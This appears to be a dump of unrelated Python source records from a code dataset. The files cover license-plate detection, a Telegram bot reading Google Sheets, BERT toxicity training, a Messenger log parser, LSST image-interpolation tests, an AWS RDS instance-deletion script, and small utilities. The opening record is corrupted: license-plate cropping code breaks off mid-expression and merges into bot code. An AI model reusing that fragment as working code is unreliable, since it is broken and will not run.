dn.load_net(b\"darknet/lp/lp.cfg\", b\"darknet/lp/lp_3000.weights\", 0)\nmeta = dn.load_meta(b\"darknet/lp/lp.data\")\n\nimport cv2, os, re\nimport numpy as np\nfrom recog_char import recognize_plate\nexpand=10\npath='test/'\nfor file in os.listdir(path):\n if re.split('[.]', file)[-1]!='jpg':\n continue\n img=cv2.imread(path+file)\n yolo_image, arr = dn.array_to_image(img)\n r=dn.detect_image(net, meta, yolo_image)\n for obj in r:\n x_center=int(round(obj[2][0]))\n y_center=int(round(obj[2][1]))\n width=int(round(obj[2][2]))\n height=int(round(obj[2][3]))\n xmin=x_center-int(round(width/2))\n ymin=y_center-int(round(height/2))\n xmax=x_center+int(round(width/2))\n ymax=y_center+int(round(height/2))\n crop=img[ymin-expand if ymin-expand >=0 else 0:ymax+expand if ymax+expand=0 else 0:xmax+expand if xmax+expand kol:\n new = count - kol # вычислсяем сколько строк(отзывов) добавилось\n for j in range(new): # цикл по вытаскиванию информации из ячеек\n count = new_count - j\n name = sh.sheet1.get('B' + str(count))\n contact = str(sh.sheet1.get('E' + str(count)) + sh.sheet1.get('J' + str(count)))\n message = str(sh.sheet1.get('G' + str(count)) + sh.sheet1.get('H' + str(count)) + sh.sheet1.get('I' + str(count)))\n \n # отправка сообщения в групповой чат\n sms = str('Имя клиента: ' + str(name) + '\\nКонтакт: ' + str(contact) + '\\nОбращение: ' + str(message))\n bot.send_message(ID, str(sms))\n time.sleep(45)\n\n if new_count > kol:\n f = open('obr.txt', 'w')\n f.writelines(str(new_count))\n f.close()\n \n\ntime.sleep(5) \nwhile True:\n do_work()\n time.sleep(120)","sub_path":"osbot.py","file_name":"osbot.py","file_ext":"py","file_size_in_byte":1819,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"128240900","text":"import spacy\nfrom spacy.matcher import Matcher\n\nnlp = spacy.load(\"ja_core_news_sm\")\nmatcher = Matcher(nlp.vocab)\n\ndoc = nlp(\n \"私には年の離れた小さい弟がいます。彼は、甘い卵焼きが好きです\"\n)\n\n# v2.3現在、日本語モデルではdoc.is_taggedが正しく設定されないので、\n# 明示的に設定\n# 参考: https://github.com/explosion/spaCy/issues/5802\ndoc.is_tagged = True\n\n# 形容詞と1つまたは2つの名詞からなるパターンを書きます\npattern = [{\"POS\": \"ADJ\"}, {\"POS\": \"NOUN\"}, {\"POS\": \"NOUN\", \"OP\": \"?\"}]\n\n# パターンをmatcherに追加し、docにmatcherを適用してください\nmatcher.add(\"ADJ_NOUN_PATTERN\", None, pattern)\nmatches = matcher(doc)\nprint(\"Total matches found:\", len(matches))\n\n# 結果をイテレートし、スパンの文字列をプリントしてください。\nfor match_id, start, end in matches:\n print(\"Match found:\", doc[start:end].text)\n","sub_path":"exercises/ja/solution_01_12_03.py","file_name":"solution_01_12_03.py","file_ext":"py","file_size_in_byte":939,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"377716926","text":"#this code captures a frame from the webcam\r\n#and returns a resized matrix as needed\r\n\r\nimport cv2\r\nimport numpy as np\r\n\r\ncap = cv2.VideoCapture(0)\r\n\r\ndef cap_img():\r\n _,frame = cap.read()\r\n img_mat = np.array(frame)\r\n return img_mat\r\n\r\ndef cam_exit():\r\n cap.release()\r\n cv2.destroyAllWindows()\r\n","sub_path":"codes_package/img_process_store/img_cap_resize.py","file_name":"img_cap_resize.py","file_ext":"py","file_size_in_byte":314,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"625256371","text":"# ===============\n# CustomLoss\n# ===============\n# ! pip install -v --no-cache-dir --global-option=\"--cpp_ext\" --global-option=\"--cuda_ext\" ../input/nvidiaapex/repository/NVIDIA-apex-39e153a\nimport os\nimport gc\nimport sys\nimport time\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\nfrom apex import amp\nfrom os.path import join\nfrom contextlib import contextmanager\nimport torch\nimport torch.utils.data\n\nsys.path.append(\"../input/toxic-src\")\nfrom dataset import prepare_data_loader, LenMatchBatchSampler\nfrom util import seed_torch, convert_lines, setting, trim_tensors\nfrom logger import setup_logger, LOGGER\nfrom losses import CustomLoss\nfrom toxic_metric import compute_bias_metrics_for_model, get_final_metric, calculate_overall_auc\n\nsys.path.append(\"../input/ppbert/pytorch-pretrained-bert/pytorch-pretrained-BERT\")\nfrom pytorch_pretrained_bert import BertTokenizer, BertForSequenceClassification, BertAdam\nfrom pytorch_pretrained_bert import BertConfig\n\n\ndef train_one_epoch(model, train_loader, criterion, optimizer, device, accumulation_steps, total_step, n_labels,\n base_lr, steps_upd_logging=500, gamma=None):\n model.train()\n optimizer.zero_grad()\n\n total_loss = 0.0\n train_losses = []\n for step, (features, targets) in enumerate(train_loader):\n features = trim_tensors(features)\n features, targets = features.to(device), targets.to(device)\n logits = model(features, attention_mask=features > 0, labels=None)\n\n if n_labels == 1:\n loss = criterion(logits.view(-1, 1), targets.view(-1, 1))\n else:\n loss = criterion(logits, targets)\n with amp.scale_loss(loss, optimizer) as scaled_loss:\n scaled_loss.backward()\n\n if (step + 1) % accumulation_steps == 0: # Wait for several backward steps\n optimizer.step() # Now we can do an optimizer step\n optimizer.zero_grad()\n\n if gamma is not None and step == int(total_step / 2):\n for param_group in optimizer.param_groups:\n param_group['lr'] = base_lr * gamma\n\n total_loss += loss.item()\n\n if (step + 1) % steps_upd_logging == 0:\n train_losses.append(total_loss / (step + 1))\n LOGGER.info(f'Train loss on step {step + 1} was {round(total_loss / (step + 1), 5)}')\n\n return total_loss / (step + 1), train_losses\n\n\ndef validate(model, valid_loader, criterion, device, n_labels):\n for param in model.parameters():\n param.requires_grad = False\n model.eval()\n test_loss = 0.0\n oof_pred = []\n with torch.no_grad():\n\n for step, (features, targets) in enumerate(valid_loader):\n features = trim_tensors(features)\n features, targets = features.to(device), targets.to(device)\n\n logits = model(features, attention_mask=features > 0, labels=None)\n if n_labels == 1:\n loss = criterion(logits.view(-1, 1), targets.view(-1, 1))\n else:\n loss = criterion(logits, targets)\n\n test_loss += loss.item()\n oof_pred.append(torch.sigmoid(logits))\n\n oof_pred = torch.cat(oof_pred).float().cpu().numpy()\n\n LOGGER.info(f'Mean val loss: {round(test_loss / (step + 1), 5)}')\n return test_loss / (step + 1), oof_pred\n\n\ndef mkdir(path):\n try:\n os.makedirs(path)\n except:\n pass\n\n\n# ===============\n# Constants\n# ===============\nSAVE_DIR = \"./\"\nWORK_DIR = \"../working/\"\nDATA_DIR = \"../input/jigsaw-unintended-bias-in-toxicity-classification\"\nLOGGER_PATH = os.path.join(SAVE_DIR, \"log.txt\")\nTRAIN_PATH = os.path.join(DATA_DIR, \"train.csv\")\nTEST_PATH = os.path.join(DATA_DIR, \"test.csv\")\nSUB_PATH = os.path.join(DATA_DIR, \"sample_submission.csv\")\nidentity_columns = [\n 'male', 'female', 'homosexual_gay_or_lesbian', 'christian', 'jewish',\n 'muslim', 'black', 'white', 'psychiatric_or_mental_illness']\nAUX_COLUMNS = ['target', 'severe_toxicity', 'obscene', 'identity_attack', 'insult', 'threat']\nBERT_MODEL_PATH = '../input/bert-pretrained-models/uncased_l-12_h-768_a-12/uncased_L-12_H-768_A-12/'\nbert_config = BertConfig(os.path.join(BERT_MODEL_PATH, 'bert_config.json'))\n\n# ===============\n# Settings\n# ===============\nseed = 0\ndevice = \"cuda:0\"\nepochs = 1\nn_labels = len(AUX_COLUMNS) + 1\nmax_len = 300\nbatch_size = 16\nbase_lr = 2e-5\ngammas = [0.75, 0.5, 0.25]\naccumulation_steps = 8\n# train_size = 1200000\nvalid_size = 100000\nexp = \"exp5\"\nseed_torch(seed)\nsetup_logger(out_file=LOGGER_PATH)\nmkdir(WORK_DIR)\nsetting(BERT_MODEL_PATH, WORK_DIR)\n\n\n@contextmanager\ndef timer(name):\n t0 = time.time()\n yield\n LOGGER.info(f'[{name}] done in {time.time() - t0:.0f} s')\n\n\ndef convert_to_bool(df, col_name):\n df[col_name] = np.where(df[col_name] >= 0.5, True, False)\n\n\ndef convert_dataframe_to_bool(df):\n bool_df = df.copy()\n for col in ['target'] + identity_columns:\n convert_to_bool(bool_df, col)\n return bool_df\n\n\ndef main():\n # train_df = pd.read_csv(TRAIN_PATH).sample(train_size+valid_size, random_state=seed)\n train_df = pd.read_csv(TRAIN_PATH).sample(frac=1.0, random_state=seed)\n train_size = len(train_df) - valid_size\n\n # y = np.where(train_df['target'] >= 0.5, 1, 0)\n y = train_df['target'].values\n y_aux = train_df[AUX_COLUMNS].values\n\n identity_columns_new = []\n for column in identity_columns + ['target']:\n train_df[column + \"_bin\"] = np.where(train_df[column] >= 0.5, True, False)\n if column != \"target\":\n identity_columns_new.append(column + \"_bin\")\n\n # Overall\n weights = np.ones((len(train_df),)) / 4\n # Subgroup\n weights += (train_df[identity_columns].fillna(0).values >= 0.5).sum(axis=1).astype(bool).astype(np.int) / 4\n # Background Positive, Subgroup Negative\n weights += (((train_df[\"target\"].values >= 0.5).astype(bool).astype(np.int) +\n (1 - (train_df[identity_columns].fillna(0).values >= 0.5).sum(axis=1).astype(bool).astype(\n np.int))) > 1).astype(bool).astype(np.int) / 4\n # Background Negative, Subgroup Positive\n weights += (((train_df[\"target\"].values < 0.5).astype(bool).astype(np.int) +\n (train_df[identity_columns].fillna(0).values >= 0.5).sum(axis=1).astype(bool).astype(\n np.int)) > 1).astype(bool).astype(np.int) / 4\n loss_weight = 1\n\n with timer('preprocessing text'):\n # df[\"comment_text\"] = [analyzer_embed(text) for text in df[\"comment_text\"]]\n train_df['comment_text'] = train_df['comment_text'].astype(str)\n train_df = train_df.fillna(0)\n\n with timer('load embedding'):\n tokenizer = BertTokenizer.from_pretrained(BERT_MODEL_PATH, cache_dir=None, do_lower_case=True)\n X_text, train_lengths = convert_lines(train_df[\"comment_text\"].fillna(\"DUMMY_VALUE\"), max_len, tokenizer)\n\n test_df = train_df[train_size:]\n\n with timer('train'):\n X_train, y_train, y_aux_train, w_train = X_text[:train_size], y[:train_size], y_aux[:train_size], weights[\n :train_size]\n X_val, y_val, y_aux_val, w_val = X_text[train_size:], y[train_size:], y_aux[train_size:], weights[\n train_size:]\n trn_lengths, val_lengths = train_lengths[:train_size], train_lengths[train_size:]\n model = BertForSequenceClassification.from_pretrained(WORK_DIR, cache_dir=None, num_labels=n_labels)\n model.zero_grad()\n model = model.to(device)\n\n y_train = np.concatenate((y_train.reshape(-1, 1), w_train.reshape(-1, 1), y_aux_train), axis=1)\n y_val = np.concatenate((y_val.reshape(-1, 1), w_val.reshape(-1, 1), y_aux_val), axis=1)\n\n train_dataset = torch.utils.data.TensorDataset(torch.tensor(X_train, dtype=torch.long),\n torch.tensor(y_train, dtype=torch.float))\n valid = torch.utils.data.TensorDataset(torch.tensor(X_val, dtype=torch.long),\n torch.tensor(y_val, dtype=torch.float))\n ran_sampler = torch.utils.data.RandomSampler(train_dataset)\n len_sampler = LenMatchBatchSampler(ran_sampler, batch_size=batch_size, drop_last=False)\n train_loader = torch.utils.data.DataLoader(train_dataset, batch_sampler=len_sampler)\n valid_loader = torch.utils.data.DataLoader(valid, batch_size=batch_size * 2, shuffle=False)\n\n param_optimizer = list(model.named_parameters())\n no_decay = ['bias', 'LayerNorm.bias', 'LayerNorm.weight']\n optimizer_grouped_parameters = [\n {'params': [p for n, p in param_optimizer if not any(nd in n for nd in no_decay)], 'weight_decay': 0.01},\n {'params': [p for n, p in param_optimizer if any(nd in n for nd in no_decay)], 'weight_decay': 0.0}\n ]\n\n num_train_optimization_steps = int(epochs * train_size / batch_size / accumulation_steps)\n total_step = int(epochs * train_size / batch_size)\n\n optimizer = BertAdam(optimizer_grouped_parameters,\n lr=base_lr,\n warmup=0.005,\n t_total=num_train_optimization_steps)\n\n model, optimizer = amp.initialize(model, optimizer, opt_level=\"O1\", verbosity=0)\n # criterion = torch.nn.BCEWithLogitsLoss().to(device)\n criterion = CustomLoss(loss_weight).to(device)\n\n for epoch in range(epochs):\n LOGGER.info(f\"Starting 1 epoch...\")\n tr_loss, train_losses = train_one_epoch(model, train_loader, criterion, optimizer, device,\n accumulation_steps, total_step, n_labels, base_lr,\n gamma=gammas[0])\n LOGGER.info(f'Mean train loss: {round(tr_loss,5)}')\n\n torch.save(model.state_dict(), '{}_dic_epoch{}'.format(exp, epoch))\n\n valid_loss, oof_pred = validate(model, valid_loader, criterion, device, n_labels)\n LOGGER.info(f'Mean valid loss: {round(valid_loss,5)}')\n\n del model\n gc.collect()\n torch.cuda.empty_cache()\n\n test_df[\"pred\"] = oof_pred[:, 0]\n test_df = convert_dataframe_to_bool(test_df)\n bias_metrics_df = compute_bias_metrics_for_model(test_df, identity_columns)\n LOGGER.info(bias_metrics_df)\n\n score = get_final_metric(bias_metrics_df, calculate_overall_auc(test_df))\n LOGGER.info(f'final score is {score}')\n\n test_df.to_csv(\"oof.csv\", index=False)\n\n xs = list(range(1, len(train_losses) + 1))\n plt.plot(xs, train_losses, label='Train loss');\n plt.legend();\n plt.xticks(xs);\n plt.xlabel('Iter')\n plt.savefig(\"loss.png\")\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"code/exp/exp5.py","file_name":"exp5.py","file_ext":"py","file_size_in_byte":10861,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"138072061","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\nimport argparse\nimport json\nimport os\n\nimport pandas as pd\n\nfrom __init__ import log\nfrom . import utils\nfrom config import *\n\n\ndef parse_arguments():\n parser = argparse.ArgumentParser()\n parser.add_argument(\n '--own-name',\n dest='own_name',\n type=str,\n help='name of the owner of the chat logs, written as in the logs',\n required=True)\n parser.add_argument(\n '-f',\n '--file-path',\n dest='file_path',\n help='Facebook chat log file (HTML file)',\n default=DEFAULT_MESSENGER_RAW_FILE)\n parser.add_argument(\n '--max',\n '--max-exported-messages',\n dest='max_exported_messages',\n type=int,\n default=MAX_EXPORTED_MESSAGES,\n help='maximum number of messages to export')\n args = parser.parse_args()\n return args\n\n\ndef main():\n args = parse_arguments()\n\n data = []\n\n # make sure we don't crash if chat logs contain exotic characters\n for root, dirs, files in os.walk(args.file_path):\n for filename in files:\n if not filename.endswith('.json'):\n continue\n\n conversation_id = root.split('/')[-1]\n conversation_with_name = None\n\n document = os.path.join(root, filename)\n with open(document) as f:\n json_data = json.load(f)\n\n if \"messages\" not in json_data or \"participants\" not in json_data:\n print(\"Missing messages or participant list in conversation {}\".format(conversation_id))\n continue\n\n participants = json_data[\"participants\"]\n\n if len(participants) < 2:\n print(\"User with id {} left Facebook, we don't know what their name was.\".format(conversation_id))\n\n if len(participants) > 2:\n # TODO handle group chats\n continue\n\n for participant in participants:\n if participant['name'] != args.own_name:\n conversation_with_name = participant['name']\n\n if conversation_with_name is None: conversation_with_name = conversation_id\n\n for message in json_data[\"messages\"]:\n timestamp = message[\"timestamp_ms\"]\n if \"content\" in message and \"sender_name\" in message:\n content = message[\"content\"]\n\n if \"sender_name\" in message:\n sender_name = message[\"sender_name\"]\n else:\n sender_name = conversation_id\n\n data += [[timestamp, conversation_id, conversation_with_name, sender_name, content]]\n\n print(len(data), 'messages parsed.')\n\n if len(data) < 1:\n print('Nothing to save.')\n exit(0)\n\n log.info('Converting to DataFrame...')\n df = pd.DataFrame(data)\n df.columns = DATAFRAME_COLUMNS\n df['platform'] = 'messenger'\n\n log.info('Detecting languages...')\n df['language'] = 'unknown'\n\n log.info('Computing dates...')\n df['datetime'] = df['timestamp'].apply(lambda x: x / 1000).apply(utils.timestamp_to_ordinal)\n\n print(df.head())\n utils.export_dataframe(df, 'messenger.pkl')\n log.info('Done.')\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"parsers/messenger.py","file_name":"messenger.py","file_ext":"py","file_size_in_byte":3371,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"409593610","text":"#\n# LSST Data Management System\n#\n# Copyright 2008-2016 AURA/LSST.\n#\n# This product includes software developed by the\n# LSST Project (http://www.lsst.org/).\n#\n# This program is free software: you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or\n# (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the LSST License Statement and\n# the GNU General Public License along with this program. If not,\n# see .\n#\nimport os\nimport unittest\nimport math\nimport numpy as np\n\nimport lsst.afw.image as afwImage\nimport lsst.afw.geom as afwGeom\nimport lsst.afw.display.ds9 as ds9\nimport lsst.meas.algorithms as algorithms\nimport lsst.meas.algorithms.defects as defects\nimport lsst.utils.tests\n\n\ntry:\n type(display)\nexcept NameError:\n display = False\n\n# Determine if we have afwdata\ntry:\n afwdataDir = lsst.utils.getPackageDir('afwdata')\nexcept Exception:\n afwdataDir = None\n\n\nclass InterpolationTestCase(lsst.utils.tests.TestCase):\n \"\"\"A test case for interpolation.\"\"\"\n\n def setUp(self):\n self.FWHM = 5\n self.psf = algorithms.DoubleGaussianPsf(15, 15, self.FWHM/(2*math.sqrt(2*math.log(2))))\n maskedImageFile = os.path.join(afwdataDir, \"CFHT\", \"D4\", \"cal-53535-i-797722_1.fits\")\n\n self.mi = afwImage.MaskedImageF(maskedImageFile)\n if False: # use sub-image?\n self.mi = self.mi.Factory(self.mi, afwImage.BBox(afwImage.PointI(760, 20), 256, 256))\n self.mi.getMask().addMaskPlane(\"INTERP\")\n\n measAlgorithmsDir = lsst.utils.getPackageDir('meas_algorithms')\n self.badPixels = defects.policyToBadRegionList(\n os.path.join(measAlgorithmsDir, \"policy\", \"BadPixels.paf\"))\n\n def tearDown(self):\n del self.mi\n del self.psf\n del self.badPixels\n\n @unittest.skipUnless(afwdataDir, \"afwdata not available\")\n def testDetection(self):\n \"\"\"Test Interp algorithms.\"\"\"\n\n if display:\n frame = 0\n ds9.mtv(self.mi, frame=frame, title=\"Original\")\n\n algorithms.interpolateOverDefects(self.mi, self.psf, self.badPixels)\n\n if display:\n ds9.mtv(self.mi, frame=frame + 1, title=\"Interpolated\")\n ds9.mtv(self.mi.getVariance(), frame=frame + 2, title=\"Variance\")\n\n @unittest.skipUnless(afwdataDir, \"afwdata not available\")\n def test818(self):\n \"\"\"A test case for #818; the full test is in /lsst/DC3root/ticketFiles/818\"\"\"\n\n badPixels = []\n defects = [((82, 663), 6, 8),\n ((83, 659), 9, 6),\n ((85, 660), 10, 11),\n ((87, 669), 3, 3),\n ]\n\n for xy0, width, height in defects:\n x0, y0 = xy0\n bbox = afwGeom.BoxI(afwGeom.PointI(x0, y0), afwGeom.ExtentI(width, height))\n badPixels.append(algorithms.Defect(bbox))\n\n mi = afwImage.MaskedImageF(517, 800)\n\n algorithms.interpolateOverDefects(mi, self.psf, badPixels)\n\n @unittest.skipUnless(afwdataDir, \"afwdata not available\")\n def test1295(self):\n \"\"\"A test case for #1295 (failure to interpolate over groups of defects.\"\"\"\n im = afwImage.ImageF(afwGeom.ExtentI(100, 100))\n mi = afwImage.makeMaskedImage(im)\n mi.set(100)\n flat = afwImage.ImageF(im.getDimensions())\n flat.set(1)\n for i in range(100):\n for j in range(100):\n if i == 50 or i == 55 or i == 58:\n flat.set(i, j, 0)\n if i < 60 and i > 50 and j > 50:\n flat.set(i, j, 0)\n\n mi /= flat\n\n if display:\n ds9.mtv(mi, frame=0, title=\"Raw\")\n\n defectList = []\n bbox = afwGeom.BoxI(afwGeom.PointI(50, 0), afwGeom.ExtentI(1, 100))\n defectList.append(algorithms.Defect(bbox))\n bbox = afwGeom.BoxI(afwGeom.PointI(55, 0), afwGeom.ExtentI(1, 100))\n defectList.append(algorithms.Defect(bbox))\n bbox = afwGeom.BoxI(afwGeom.PointI(58, 0), afwGeom.ExtentI(1, 100))\n defectList.append(algorithms.Defect(bbox))\n bbox = afwGeom.BoxI(afwGeom.PointI(51, 51), afwGeom.ExtentI(9, 49))\n defectList.append(algorithms.Defect(bbox))\n\n psf = algorithms.DoubleGaussianPsf(15, 15, 1./(2*math.sqrt(2*math.log(2))))\n algorithms.interpolateOverDefects(mi, psf, defectList, 50.)\n\n if display:\n ds9.mtv(mi, frame=1, title=\"Interpolated\")\n\n self.assertTrue(np.isfinite(mi.getImage().get(56, 51)))\n\n @unittest.skipUnless(afwdataDir, \"afwdata not available\")\n def testEdge(self):\n \"\"\"Test that we can interpolate to the edge\"\"\"\n mi = afwImage.MaskedImageF(80, 30)\n\n ima = mi.getImage().getArray()\n #\n # Loop over number of bad columns at left or right edge of image\n #\n for nBadCol in range(0, 20):\n mi.set((0, 0x0, 0))\n\n np.random.seed(666)\n ima[:] = np.random.uniform(-1, 1, ima.shape)\n\n defects = []\n\n if nBadCol > 0:\n #\n # Bad left edge\n #\n ima[:, 0:nBadCol] = 10\n defects.append(afwGeom.BoxI(afwGeom.PointI(0, 0),\n afwGeom.ExtentI(nBadCol, mi.getHeight())))\n #\n # With another bad set of columns next to bad left edge\n #\n ima[:, -nBadCol:] = 10\n defects.append(afwGeom.BoxI(afwGeom.PointI(mi.getWidth() - nBadCol, 0),\n afwGeom.ExtentI(nBadCol, mi.getHeight())))\n #\n # Bad right edge\n #\n ima[0:10, nBadCol+1:nBadCol+4] = 100\n defects.append(afwGeom.BoxI(afwGeom.PointI(nBadCol+1, 0),\n afwGeom.ExtentI(3, 10)))\n #\n # With another bad set of columns next to bad right edge\n #\n ima[0:10, -nBadCol-4:-nBadCol-1] = 100\n defects.append((afwGeom.BoxI(afwGeom.PointI(mi.getWidth() - nBadCol - 4, 0),\n afwGeom.ExtentI(3, 10))))\n #\n # Test cases that left and right bad patches nearly (or do) coalesce\n #\n ima[-3:, 0:mi.getWidth()//2-1] = 100\n defects.append(afwGeom.BoxI(afwGeom.PointI(0, mi.getHeight() - 3),\n afwGeom.ExtentI(mi.getWidth()//2-1, 1)))\n\n ima[-3:, mi.getWidth()//2+1:] = 100\n defects.append(afwGeom.BoxI(afwGeom.PointI(mi.getWidth()//2 + 1, mi.getHeight() - 3),\n afwGeom.ExtentI(mi.getWidth()//2 - 1, 1)))\n\n ima[-2:, 0:mi.getWidth()//2] = 100\n defects.append(afwGeom.BoxI(afwGeom.PointI(0, mi.getHeight() - 2),\n afwGeom.ExtentI(mi.getWidth()//2, 1)))\n\n ima[-2:, mi.getWidth()//2+1:] = 100\n defects.append(afwGeom.BoxI(afwGeom.PointI(mi.getWidth()//2 + 1, mi.getHeight() - 2),\n afwGeom.ExtentI(mi.getWidth()//2 - 1, 1)))\n\n ima[-1:, :] = 100\n defects.append(afwGeom.BoxI(afwGeom.PointI(0, mi.getHeight() - 1),\n afwGeom.ExtentI(mi.getWidth(), 1)))\n\n # Test fix for HSC-978: long defect stops one pixel shy of the edge (when nBadCol == 0)\n ima[13, :-1] = 100\n defects.append(afwGeom.BoxI(afwGeom.PointI(0, 13), afwGeom.ExtentI(mi.getWidth() - 1, 1)))\n ima[14, 1:] = 100\n defects.append(afwGeom.BoxI(afwGeom.PointI(1, 14), afwGeom.ExtentI(mi.getWidth() - 1, 1)))\n\n #\n # Build list of defects to interpolate over\n #\n defectList = []\n\n for bbox in defects:\n defectList.append(algorithms.Defect(bbox))\n #\n # Guess a PSF and do the work\n #\n if display:\n ds9.mtv(mi, frame=0)\n\n psf = algorithms.DoubleGaussianPsf(15, 15, 1./(2*math.sqrt(2*math.log(2))))\n algorithms.interpolateOverDefects(mi, psf, defectList, 0, True)\n\n if display:\n ds9.mtv(mi, frame=1)\n\n self.assertGreater(np.min(ima), -2)\n self.assertGreater(2, np.max(ima))\n\n\nclass TestMemory(lsst.utils.tests.MemoryTestCase):\n pass\n\n\ndef setup_module(module):\n lsst.utils.tests.init()\n\n\nif __name__ == \"__main__\":\n lsst.utils.tests.init()\n unittest.main()\n","sub_path":"tests/test_interp.py","file_name":"test_interp.py","file_ext":"py","file_size_in_byte":8979,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"563807328","text":"import boto3\nfrom botocore.exceptions import ClientError\n\n\nclient = boto3.client('rds')\n\nparam = {\n \"DBInstanceIdentifier\": \"aurora-reader\",\n \"SkipFinalSnapshot\": True\n}\n\ntry:\n response = client.delete_db_instance(**param)\n print(response)\n\nexcept ClientError as e:\n raise e\n\n\n","sub_path":"aws-lambda-dev/remove-aurora-reader.py","file_name":"remove-aurora-reader.py","file_ext":"py","file_size_in_byte":292,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"311333305","text":"\"\"\"\nGenerating data from the CarRacing gym environment.\n!!! DOES NOT WORK ON TITANIC, DO IT AT HOME, THEN SCP !!!\n\"\"\"\nimport argparse\nfrom os.path import join, exists\n\nimport gym\nimport copy\nimport numpy as np\nfrom utils.misc import sample_continuous_policy\nfrom carnav.env import CarNav\nfrom pathlib import Path\n\ndef generate_data(num_rollouts, rollout_len, data_dir, noise_type, **carnav_kwargs): # pylint: disable=R0914\n \"\"\" Generates data \"\"\"\n data_dir = Path(data_dir)\n if not data_dir.exists():\n data_dir.mkdir(555, True, True)\n\n\n env = CarNav(**carnav_kwargs)\n\n for i in range(num_rollouts):\n env.reset()\n if noise_type == 'white':\n a_rollout = [env.action_space.sample() for _ in range(rollout_len)]\n elif noise_type == 'brown':\n a_rollout = sample_continuous_policy(env.action_space, rollout_len, 1. / 50)\n\n s_rollout = []\n r_rollout = []\n d_rollout = []\n\n t = 0\n done = False\n while not done and t < rollout_len:\n\n action = a_rollout[t]\n t += 1\n\n s, r, done, _ = env.step(action)\n s_rollout += [s]\n r_rollout += [r]\n d_rollout += [done]\n if done or t == rollout_len - 1:\n print(\"> End of rollout {}, {} frames...\".format(i, len(s_rollout)))\n np.savez(join(data_dir, 'rollout_{}'.format(i)),\n observations=np.array(s_rollout),\n rewards=np.array(r_rollout),\n actions=np.array(a_rollout[:t]), # just save actions used\n terminals=np.array(d_rollout))\n break\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser()\n parser.add_argument('--num-rollouts', type=int, help=\"Number of rollouts\", default=1000)\n parser.add_argument('--dir', type=str, help=\"Where to place rollouts\", default=\".\")\n parser.add_argument('--policy', type=str, choices=['white', 'brown'],\n help='Noise type used for action sampling.',\n default='white')\n parser.add_argument('--rollout-len', type=int, help=\"Max number of frames of a rollout\", default=1000)\n\n\n gen_args = [\"num_rollouts\", \"dir\", \"policy\", \"rollout_len\"]\n\n parser.add_argument('--width', default= 64, type=int)\n parser.add_argument('--height', default= 64, type=int)\n parser.add_argument('--step-size',default=5, type=int)\n parser.add_argument('--reset-location',default=\"random\", type=str)\n parser.add_argument('--game_id', default=0, type=int)\n parser.add_argument('--pattern', default=\"-\", type=str)\n\n args = parser.parse_args()\n carnav_kwargs = copy.deepcopy(args)\n for k in gen_args:\n del carnav_kwargs.__dict__[k]\n generate_data(args.num_rollouts, args.rollout_len, args.dir, args.policy, **carnav_kwargs.__dict__)\n","sub_path":"data/carnav_gen.py","file_name":"carnav_gen.py","file_ext":"py","file_size_in_byte":2897,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"370160790","text":"from django.contrib.auth.models import User\nfrom django.db import models\nfrom django.db.models.signals import post_save\nfrom django.dispatch import receiver\n\nclass UserDetails(models.Model):\n # User Profile\n user = models.OneToOneField(\n User,\n on_delete=models.CASCADE,\n primary_key=True,\n )\n\n bio = models.TextField(max_length=500, blank=True)\n location = models.CharField(max_length=30, blank=True)\n birth_date = models.DateField(null=True, blank=True)\n\n image = models.ImageField(upload_to='userclass/images', blank=True)\n is_refugee = models.BooleanField(null=True, default=False)\n\n # Ratings\n rating_val = models.FloatField(blank=True, default=0.0)\n rating_num = models.IntegerField(blank=True, default=0)\n\n # This is how user is displayed in Admin page\n def __str__(self):\n return 'Details of ' + self.user.username\n\n@receiver(post_save, sender=User)\ndef create_userdetails(sender, instance, created, **kwargs):\n if created:\n print('create_userdetails')\n UserDetails.objects.create(user=instance)\n\n@receiver(post_save, sender=User)\ndef save_userdetails(sender, instance, **kwargs):\n print('save_userdetails')\n instance.userdetails.save()","sub_path":"hirearefugee/userclass/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":1238,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"323534619","text":"from math import sqrt\nfrom math import atan2\nfrom math import fmod\nfrom math import pi\n\n\ndef range2d(p1, p2):\n \"\"\"Calculate range in 2D\n\n Parameters\n ----------\n p1 : np.array of size 2\n Point 1\n p2 : np.array of size 2\n Point 2\n\n Returns\n -------\n\n Range between p1 and p2\n\n \"\"\"\n dx = p2[0] - p1[0]\n dy = p2[1] - p1[1]\n return sqrt(dx**2 + dy**2)\n\n\ndef bearing2d(f, x, theta):\n \"\"\"Calculate bearing between feature and robot\n\n Parameters\n ----------\n f : np.array of size 2\n Feature position\n x : np.array of size 2\n Robot position\n theta : float\n Robot's current heading in radians\n\n Returns\n -------\n\n Bearing between feature and robot position\n\n \"\"\"\n dx = f[0] - x[0]\n dy = f[1] - x[1]\n # return mod(atan2(dy, dx) - theta + pi, 2 * pi) - pi\n return atan2(dy, dx) - theta\n\n\ndef feature_inview_2d(f, x, theta, rmax, thmax):\n \"\"\"Checks to see wheter features is in view of robot\n\n Parameters\n ----------\n f : np.array of size 2\n Feature position\n x : np.array of size 2\n Robot position\n theta : float\n Robot's current heading in radians\n rmax : float\n Max sensor range\n thmax : float\n Max sensor 